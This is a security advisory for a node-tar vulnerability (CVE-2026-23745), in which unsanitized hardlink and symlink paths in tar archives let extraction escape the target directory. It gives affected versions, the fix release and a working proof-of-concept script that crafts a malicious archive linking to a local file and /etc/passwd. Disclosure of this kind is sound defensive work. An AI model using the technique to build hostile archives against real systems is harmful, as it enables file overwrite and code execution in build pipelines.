--- title: "GHSA-8qq5-rm4j-mr97: node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization" description: "High severity. node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization. Affects tar; fixed in 7.5.3." url: https://inlinr.com/advisories/GHSA-8qq5-rm4j-mr97 lang: en --- [Packages](https://inlinr.com/packages) / [tar](https://inlinr.com/packages/tar) / [Security](https://inlinr.com/packages/tar/security) High Vulnerability GHSA-8qq5-rm4j-mr97 CVE-2026-23745 Published 16 Jan 2026 # node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization Your version Affected releases · [tar](https://inlinr.com/packages/tar) - 7.x 7.0.0 – 7.5.2 Fixed in 7.5.3 - 6.x and older 0.0.1 – 6.2.1 No fix, no longer updated On 7.x, the newest line: ``` npm install tar@7.5.3 ``` Every release on a timeline 7.x 1. Affected 7.0.0 – 7.5.2 13 releases 2. Fixed 7.5.3 – 7.5.22 20 releases, latest 6.x 1. Affected 6.0.0 – 6.2.1 24 releases 5.x 1. Affected 5.0.0 – 5.0.11 12 releases 4.x 1. Affected 4.0.0 – 4.4.19 31 releases 3.x 1. Affected 3.0.0 – 3.2.3 22 releases 2.x 1. Affected 2.0.0 – 2.2.2 7 releases 1.x 1. Affected 1.0.0 – 1.0.3 4 releases 0.x 1. Affected 0.0.1 – 0.1.20 21 releases 154 stable releases of tar, oldest to newest, one row per major. ## What happens Summary The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets. Details The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods. **1\. Hardlink Escape (Arbitrary File Overwrite)** The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path. The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place. **2\. Symlink Poisoning** The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used. PoC The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten. ``` const fs = require('fs') const path = require('path') const tar = require('tar') const out = path.resolve('out_repro') const secret = path.resolve('secret.txt') const tarFile = path.resolve('exploit.tar') const targetSym = '/etc/passwd' // Cleanup & Setup try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {} fs.mkdirSync(out) fs.writeFileSync(secret, 'ORIGINAL_DATA') // 1. Craft malicious Link header (Hardlink to absolute local file) const h1 = new tar.Header({ path: 'exploit_hard', type: 'Link', size: 0, linkpath: secret }) h1.encode() // 2. Craft malicious Symlink header (Symlink to /etc/passwd) const h2 = new tar.Header({ path: 'exploit_sym', type: 'SymbolicLink', size: 0, linkpath: targetSym }) h2.encode() // Write binary tar fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ])) console.log('[*] Extracting malicious tarball...') // 3. Extract with default secure settings tar.x({ cwd: out, file: tarFile, preservePaths: false }).then(() => { console.log('[*] Verifying payload...') // Test Hardlink Overwrite try { fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN') if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') { console.log('[+] VULN CONFIRMED: Hardlink overwrite successful') } else { console.log('[-] Hardlink failed') } } catch (e) {} // Test Symlink Poisoning try { if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) { console.log('[+] VULN CONFIRMED: Symlink points to absolute path') } else { console.log('[-] Symlink failed') } } catch (e) {} }) ``` Impact - **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files. - **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.) ## How it is exploited Exploitable with local access, with no account and a user to do something. - **Confidentiality**: high - **Integrity**: low - **Availability**: none CVSS:4.0/​AV:L/​AC:L/​AT:N/​PR:N/​UI:A/​VC:H/​VI:L/​VA:N/​SC:H/​SI:L/​SA:N ## References - [Reference](https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97 "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97") github.com/isaacs/node-tar/security/advisories/… - [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-23745 "https://nvd.nist.gov/vuln/detail/CVE-2026-23745") nvd.nist.gov/vuln/detail/CVE-2026-23745 - [Fix commit](https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e") 340eb28 - [Package](https://github.com/isaacs/node-tar "https://github.com/isaacs/node-tar") github.com/isaacs/node-tar